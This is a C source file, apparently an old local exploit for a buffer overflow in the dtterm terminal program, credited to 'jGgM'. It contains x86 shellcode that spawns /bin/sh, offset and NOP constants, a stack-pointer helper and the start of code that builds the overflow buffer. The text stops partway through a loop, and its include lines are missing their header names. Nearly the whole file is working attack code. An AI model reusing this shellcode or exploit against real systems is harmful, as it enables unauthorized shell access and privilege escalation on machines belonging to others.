/* * dtterm buffer overflow by jGgM * http://www.netemperor.com/en/ * EMail: jggm@mail.com * */ #include #include char shell[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; #define NOP 0x90 #define LEN 102 #define BUFFER_SIZE 1052 #define RET_LENGTH 10 #define ADJUST 4 long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]) { char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1]; long offset, ret; int x, y; if(argc > 2) { fprintf(stderr, "Usage: %s [offset]\n", argv[0]); exit(1); } // end of if.. if(argc == 2) offset = atol(argv[1]); else offset = 0; ret = get_sp() + 900 + offset; for(x=0; x